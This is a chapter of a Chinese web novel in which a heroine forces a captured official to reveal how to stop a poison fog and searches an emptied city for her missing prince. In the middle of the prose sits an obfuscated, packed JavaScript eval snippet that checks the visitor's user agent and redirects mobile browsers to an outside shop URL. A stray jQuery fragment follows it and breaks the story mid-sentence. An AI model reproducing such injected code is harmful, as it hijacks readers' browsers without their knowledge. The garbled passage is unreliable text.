文趣网 > 其他小说 > 遣妾一身安社稷 > 12. 人间蒸发
    秦嘉宁冷冷一笑,将湿了的衣襟糊在程长史脸上,狠狠踹了一脚,牵了绳的球再一次滚进了毒雾中。

    这长史就是抓来审讯探路的。

    想要大部队全须全尾地进出,一定要小心试验,证明没有任何危险再动身不迟。

    果然,没过多久,又听到了闷声闷气的求饶声。

    这一次,秦嘉宁等了比之前三倍的时间,才扯绳子把人拉了出来。

    再次被溜的程长史面色乌青,双目浑浊,全身上下仍旧是嘴最硬:“都告诉你们怎么办了,你们怎么不自己进去!”

    “这不是有长史大人吗?辛苦您探路了!”秦嘉宁说完,作势便要抬脚。

    程长史一双眼睛瞪得能喷出血来,商量道:“我这样不利于行,与你们也是个累赘……”

    “哪里哪里,这些人当中,最有用的便是长史大人。”秦嘉宁不走心地说了两句好话,不耐烦地抬起脚,准备再次送人进去试毒。

    “在下的父母妻儿,均可进去探路!不要再踢我进去了!你们抓他们来啊!”程长史急了,高声喊道。

    “好,如此看来,大人是最好的探路人!”秦嘉宁懒得和他啰嗦,一脚将人踢进逐渐浓郁的烟雾中。

    “我说!”烟雾里传来歇斯底里的惨叫声。

    秦嘉宁命亲兵把人拉回来,掰着手指道:“给你十息,若是拖延时间,便待够一炷香再出来!”

    “别,我说!”程长史嘴唇青紫,整个人被冷汗湿透了,连忙大叫,“须得柳叶榨汁,浸透布料方能挡住毒雾!”

    一群人抬头一看,果然,那武器仿佛有结界一般,一见柳树,便不再往外扩散。

    这柳叶的方子,还真可能有用。

    便是如此,秦嘉宁依旧不放心,扯了些柳叶揉碎给长史糊在脸上,将人放进去足足一炷香,拉出来一看,果然不见中毒迹象。

    这才令亲兵去采集柳叶,碾碎了备用。

    万事俱备,也不急这一时三刻,秦嘉宁回头问道:“那破庙可有人看着?”

    “放心吧,南大营已经连夜驻扎在那里了。”王副将道。

    秦嘉宁点点头,“差人过去,吩咐南大营将那里看好了,一只苍蝇也不要放出去。”

    王副将一副料事如神的样子,“早就让人将那里团团围住了。”

    秦嘉宁用余光扫去,只见程长史刚恢复一些血色的脸又添了一层灰败,便知这步棋走对了。

    但是,还有东西没从这人嘴里榨出来。

    秦嘉宁再次挥鞭,把这长史打到头破血流,问道:“说,这雾气是什么东西,从何而起,如何止息?”

    程长史已经狼狈至极,没想到一开口还是一副义正辞严的样子,“你个小丫头,竟敢无故殴打朝廷命官!”

    忘记了,这世上有一种文人,越挨打越起劲。

    这位长史的族叔,那位国子监祭酒程大人,可是靠着边挨廷仗边骂先帝而闻名于世的。

    同是江南程家,世家出身,这位长史大人仅从他世叔那里学来了嘴硬,口才是在是差远了。

    对付这种清流,不如让他认识到,他随时随地都可以死。

    秦嘉宁想了想,高声道:“威远城突发瘴气,王爷带了长史大人前来查看,郡王为了一城百姓尚且不顾生死,何况你一个区区一个五品官员!”

    “本官乃朝廷命官……”长史张嘴,还是这一句。让人不由得怀疑,这雾气是不是把他熏傻了?

    秦嘉宁没惯着他,继续道:“长史家人亦在威远城中,生死不明。到底是生是死,就全凭你自己定夺了。”

    程长史只想捞油水,没打算为此把全家老小搭进去,更不想把自己珍贵的性命也搭进去。

    更何况,这产业不是他的,他不过是个看管的,大头的银钱与他并无干系。

    只要留得一条命在,左右会有那当帝师的族叔捞他,想通了其中关节,长史连忙道:“我说,我说,矿井里有种蓝色的石头,燃烧后有剧毒……”

    “什么毒?”

    “会……让人头晕目眩,闻久了会神志不清……”

    得,果然会熏傻人。

    万一把慕容铮熏傻了,不会带兵打仗了可怎么是好!

    秦嘉宁来不及细想,接着问:“石头在哪里?”

    “在……客栈的枯井里,”长史也不打算藏着掖着了,索性一股脑把知道的全招了出来,“他们做了个柳树墩子,盖上枯井便可止了这烟雾。”

    “那就辛苦长史大人,为威远城百姓清除毒雾罢!”

    程长史还以为招供了便可以置身事外了,没想到屁股一痛,再次被踢进迷雾中去,充当了指路的灯。

    威远城内雾气弥漫,目之所及都是一片青灰。

    仔细看街边的人家,窗户纸陈旧破损,一看就是许久没住人的样子。

    那件铺子在城中心的十字街,一行人越走雾气越浓,若不是做了十足的准备,怕是早被毒雾呛得晕倒在地。

    摸索着走了许久,没有见到被呛晕的百姓,也没有见到入了城的亲兵。

    浓雾之下,整个镇子仿佛被吞噬了一般,死气沉沉。

    到了客栈,果然看到院子正中心有口枯井,青灰色的雾气正在袅袅升腾。

    几个人摸到了长史所说的柳树墩子,将枯井盖了个严实后,也不敢久留,匆匆忙忙退出城去。

    雾气没了源头,北方的风也大,不出一刻钟,雾气便开始消散,又过了一会儿,城中恢复了原来的模样。

    众人再次进了城。

    这威远城果然是座空城。

    这就怪了,就算没有百姓,慕容铮一行才进了城呐!怎么会毫无踪迹呢?

    他们快把整座城翻了个底朝天,还是没有找到一个活人。

    别说活人了,尸体都没找到一具。

    若说城中百姓,前日晚上探查时怕已经没了踪迹。可是慕容铮一行人怎么也有两三百号,一个个骁勇善战,怎么就这样无声无息地消失在了大雾之中?

    秦嘉宁暗道不妙,将每家每户的草垛、水井、乃至水缸都翻了个遍,依旧没找到一个人影子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706868|208334||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    这奇怪的镇子,难不成会吞噬活人?

    秦嘉宁看着毒气发作,瑟瑟发抖的长史,不由得长叹一口气。

    看来,这唯一的突破点还在长史身上。

    秦嘉宁扯开长史嘴上的布条,问:“人呢?”

    “什么人?”以为自己逃过一死的长史再次嘴硬起来。

    秦嘉宁快要被这家伙气笑了,挥手道:“那块石头我已经取来了,长史大人若是没话说,便再尝尝毒雾的味道如何?”

    事关生死,程长史顿时颓了下来,道:“早就被地底下的人掳去了!入口在铺子后面第三进院子炕头的地道里!你们快去追!”

    秦嘉宁看着他亮晶晶的眼睛,没敢轻举妄动。

    这么着急着想要他们下到地下,怕是里面的蹊跷更多一些。

    长史急了,又叫道:“这次怎地不送本官进去探路!”

    “看来那地道里有程长史的人,在等着接应他!”一旁的王副官也看出来了,道。

    秦嘉宁招来一只八哥,问道:“你可知,这城中的出入口在哪里?”

    “知道,知道!”更多的八哥飞到秦嘉宁头顶,七嘴八舌地开始指路。

    小黑收了一群好探子!

    有人欢喜有人忧,眼看着入口一个个被翻出来,程长史额头青筋突突直跳,只能啐了一口,恶狠狠骂一句,“扁毛畜牲!”

    “讲所有入口用巨石挡住,”秦嘉宁想到了那诡异的毒烟,补充道,“用黄泥将缝隙都封死了。”

    亲兵闻言都去找出入口了。

    王副将献计道:“咱们不如以其身还其人之道,将那石头点了,扔进入口熏死他们。”

    “我倒是想,”秦嘉宁皱眉,“可是王爷还在里面,实在是投鼠忌器啊!”

    王副将一拍大腿,大意了!

    “那怎么办?要不找个入口攻进去?”

    “不行,这城里的入口都有古怪,”秦嘉宁摇摇头,“怕是他们布下的疑阵,正经的出入口怕是在破庙里。”

    她猜得没错,这威远城城内有城,地上是一座空城,所有通向地下的入口都机关重重,只有那个可走人跑马的入口才是没有危险的。

    她不知道,若是顺着破庙的机关往里走,不多远便可见一口级深的洞穴,沿悬梯下去,可见数座冶铁熔炉,炉火昼夜不息,无数衣衫褴褛的人被俘虏,鞭笞着不停劳作。

    熔炉左右有两条通道,一条蜿蜒通向矿脉,而另一条则挖得宽敞无比,竟可通车马。

    沿着那条宽阔的土洞行走数里,是一座地下宅邸,修得富丽堂皇,和地面上大户人家的宅子并无二致。

    这宅邸的偏房内,慕容铮和一众亲兵被困了手脚,七倒八歪地躺在地上。

    一个满脸横肉的大汉满脸堆笑,对着迎面而来的老者道:“甲叔,这一批人骡成色极佳,您过目!”

    老者举起灯笼,挨个看着地上的人,看到其中一张脸,不由得大惊失色,当即扇了那大汉一巴掌,“你是觉得,咱们的是什么长命的勾当吗?”